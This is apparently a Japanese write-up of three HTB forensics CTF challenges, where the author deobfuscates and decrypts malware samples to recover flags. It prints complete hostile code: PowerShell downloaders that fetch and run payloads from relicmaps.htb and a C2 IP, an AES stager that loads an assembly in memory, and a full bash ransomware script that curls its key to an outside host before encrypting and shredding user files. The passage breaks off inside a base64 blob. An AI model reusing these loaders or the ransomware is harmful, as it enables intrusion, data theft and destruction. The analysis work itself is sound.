$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{■■■■■■■■■■■■■■■■■■■}"

フラグが書いてある。

[Forensics] Relic Maps

oneファイルが与えられる。
DissectMalware/pyOneNote: A python library to parse OneNote (.one) files
これを使ってファイルをダンプしてみる。
htaファイルが含まれている。
以下の部分が気になる。

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one;
 Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat;
 Start-Process -Filepath $env:tmp\system32.bat"

window.batをとりあえず難読化解除する。
普通に置換していけばよさそうだが、面倒なので動的解析。

@echo off
set "eFlP=set "
%eFlP%"ualBOGvshk=ws"
…
%eUFw%"TOqZKQRZli=uZOc"
%CJnGNBkyYp%%UBndSzFkbH%%ujJtl…
cls
%dzPrbmmccE%%xQseEVnPet%
%eDhTebXJLa%%vShQyqnqqU%%KsuJog…
exit /b

ざっくりこんな感じになっていて、前半は変数代入。
使われている所は直前にechoをつけて内容をひっぱってくる。
1番目はコレ。

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "a.bat.exe"

ok.

cd "C:\Users\WDAGUtilityAccount\Documents\"

これもok.最後がメイン。見やすいように適当に改行を入れている。

"a.bat.exe" -noprofile -windowstyle hidden -ep bypass -command 
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\WDAGUtilityAccount\Documents\a.bat').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) { 
    if ($YiLGW.StartsWith(':: ')) {  
        $VuGcO = $YiLGW.Substring(3);
        break;
    };
};
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('')))

という感じ。
window.batに::から始まる怪しいコメントがあったが、これを使って復元していくみたい。

  • 暗号文: ::以降のbase64文字列をbase64デコードしたもの
  • Key, IVは上に書いてあるもの
  • モードはCBC

復元後にgzipで解凍しているので、この操作も含めてcyberchefを使って抜き出すとMZという文字が出てくるのでPEファイルが取れてきているみたい。レシピはこんな感じ。

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Base64','string':'0xdfc6tTBkD%2BM0zxU7egGVErAsa/NtkVIHXeHDUiW20%3D'%7D,%7B'option':'Base64','string':'2hn/J717js1MwdbbqMn7Lw%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Gunzip()&input=aW5wdXQ

取ってこれたファイルをfileコマンドで見てみると

download.dat:          PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

OK. dnSpyで開いてさらに中身を確認してみると、平文で書かれているフラグを見つけることができる。

[Forensics] Bashic Ransomware

色々ファイルが与えられる。

$ file *
flag.txt.a59ap:                  GPG symmetrically encrypted data (AES256 cipher)
forensics.mem:                   data
linux-image-5.10.0-21.zip:       Zip archive data, at least v2.0 to extract, compression method=deflate
traffic.pcap:                    pcapng capture file - version 1.0

最終的にはGPGで暗号化されているっぽいflag.txtを復号化できればよさそう。
パケットキャプチャを見てみると情報が少ないのでこちらから見ていく。

GET /packages/Kxr43fMD9t.manifest HTTP/1.1
Host: files.pypi-install.com
User-Agent: curl/7.81.0
Accept: */*

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 03 Mar 2023 20:51:27 GMT
Content-Type: application/octet-stream
Content-Length: 9444
Last-Modified: Sat, 18 Feb 2023 18:56:25 GMT
Connection: keep-alive
ETag: "63f11f59-24e4"
Accept-Ranges: bytes

Z0g0PSJFZCI7a00wPSJ4U3oiO2M9ImNoIjtMPSI0IjtyUVc9IiI7ZkUxPSJsUSI7cz0iICdLa21aS2ttWkpvUU1nUVhhNFZXQ0pvUVo1Z1RNVVYzTWlkRlJHQjFiNFZVQ0pvZ2JsaEdkZ3NUWGdJU0tuQjNaZ1lYTGdRbWJoMVdidk5HS2tJQ0k0MUNJYkJpWnBsZ0N1VkdhMEJ5T2QxRklpSXpNME16TTJrak4yY2pjbEIzYnNWbWRsUm1JZzBUUGdJU0twMVdZdmgyZG9RaUlnczFXZ1lX…

base64で何かが送られている。
デコードしてみよう。

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

難読化されているので、文字列をちまちま代入すると以下のような感じになる

x=$(eval "echo'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI' | rev |base64 -d")
eval "$x"

よって、base64っぽい文字列を反転させてbase64デコードすれば次のコードが復元できる。
変数名などがランダム列になっているので、それっぽい名前に変更してある。

#!/bin/bash
setGPGKey() {
    base64encodedGPGKey="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ=="
    echo $base64encodedGPGKey | base64 --decode | gpg --import
    echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}

encrypt() {
    randomStr=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
    echo $randomStr > RxgXlDqP0h3baha
    gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 
    shred -u RxgXlDqP0h3baha
    curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php
    
    for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
    do
        if [[ ${i} != *"*."* ]];then
            echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
            shred -u "$i" 2>/dev/null
        fi
    done
    
    unset randomStr
}

showRansomeNote() {
    cat <<- EOF
        --------------------------------------------------------------------------
        YOUR FILES ARE ENCRYPTED BY AN EXTRATERRESTRIAL RANSOMWARE
        * What happened?
            Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our private key.
        * How to recover my files?
            Recovering your files is 100% guaranteed if you follow our instructions. One file per infection can be decrypted as proof of work. To decrypt the rest, you must return the relic back to its previous rightful owners.
        * Is there a deadline?
            Of course, there is. You have ten days left. Do not miss this deadline.
        --------------------------------------------------------------------------
    EOF
}

main() {
    setGPGKey
    encrypt
    showRansomeNote
}

if [[ "$(whoami)" == "developer7669633432" ]]; then
    if [ -x "$(command -v gpg)" ]; then
        main
        exit 1
    fi
fi

核心的な部分が含まれている。
flag.txtを暗号化している部分は
echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
の部分。
復号には$randomStrが必要で、RxgXlDqP0h3bahaに書き込まれてはいたがshredされている。

鍵生成部分のstrings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'を見るとフォーマットは[a-zA-Z0-9]{16}という感じ。
16桁なのでちょっと全探索は厳しそうではある。
だが、メモリダンプが用意されているということは、メモリダンプからこれを抜き出せるのかも。

適当にstrings forensics.mem | grep -E "[a-zA-Z0-9]{16}" > dic.txtで辞書を作る。
これを使って全探索をスタートしてもいいが、目grepして使えそうなものを試すと早々に鍵が見つかった。
以下でフラグ獲得。
echo "wJ5kENwyu8amx2RM" | gpg --batch --yes --passphrase-fd 0 -d flag.txt.a59ap 2>/dev/null

[Forensics] Interstellar C2

pcapngファイルが与えられる。
とりあえずプロトコル階層統計を見てみる。
色々プロトコルが書いてあるが、wpadskypeのもので特に面白いものではない。
HTTP以外は無視してよさそう。
C2通信に関連するのはHTTPのものだけみたい。

最初にhxxp://64.226.84[.]200/vn84.ps1が記録されている。
難読化されたpowershellファイルであり、難読化解除をちょっとやると以下のような感じ。

.'Set-iTem' ('vAriAble:qLz0so')  ( [tYpe]('SySTEM.io.FilEmode')) ;
&('set-VariABLE') l60Yu3  ( [tYPe]('sYStem.SeCuRiTY.crypTOgRAphY.aeS'));
.('Set-VARiaBle')  BI34  (  [TyPE]('sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE'));
${URl} = ('http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51')
${PTF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.('Import-Module') ('BitsTransfer')
.('Start-BitsTransfer') -Source ${uRl} -Destination ${pTf}
${Fs} = &('New-Object') ('IO.FileStream')(${pTf},  ( &('chilDIteM')  ('VAriablE:QLz0sO')).VALue::"oPeN")
${MS} = .('New-Object') ('System.IO.MemoryStream');
${aes} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::('Create').Invoke()
${aEs}."KEYsIZE" = 128
${KEY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${aES}."KEY" = ${KEY}
${Aes}."iV" = ${iV}
${cS} = .('New-Object') ('System.Security.Cryptography.CryptoStream')(${mS}, ${aEs}.('CreateDecryptor').Invoke(),   (&('GeT-VARIaBLE')  bI34  -VaLue )::"WRItE");
${fs}.('CopyTo').Invoke(${Cs})
${decD} = ${Ms}.('ToArray').Invoke()
${CS}.('Write').Invoke(${dECD}, 0, ${dECd}."LENgTH");
${DeCd} | .('Set-Content') -Path "$env:temp\tmp7102591.exe" -Encoding ('Byte')
& "$env:temp\tmp7102591.exe"

最終的にtmp7102591.exeというのを持ってきて動かしている。
hxxp://64.226.84[.]200/94974f08-5853-41ab-938a-ae1bd86d8e51から持ってきて、AESで復号化している。
cyberchefのレシピ的には

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'00010100000101000001010001010000'%7D,%7B'option':'Hex','string':'00010100000000010001010000010101'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=aW5wdXQ

こんな感じで変換してやればいい。
これでexeが得られる。
祈りながらfileコマンドを動かすと、めでたくMono。

$ file 94974f08-5853-41ab-938a-ae1bd86d8e51-2
94974f08-5853-41ab-938a-ae1bd86d8e51-2: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyで中身を見る。
Programクラスのprimerを見ると最初のリクエストを送っているみたい。

...
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
...
text2 = Program.Decryption(key, enc);

とりあえず鍵はハードコーディングされている。
復号アルゴリズムはAESで細かな部分を抜粋すると

  • IV: 先頭16byte
  • Key: DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=base64デコード
  • Mode: CBC

ここまでくれば復号化できる。
復号すると以下のような内容が得られる。

RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR
URLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU
KILLDATE16652025-01-015661ETADLLIK
SLEEP980013s10089PEELS
JITTER20250.25202RETTIJ
NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN
IMGS19459394"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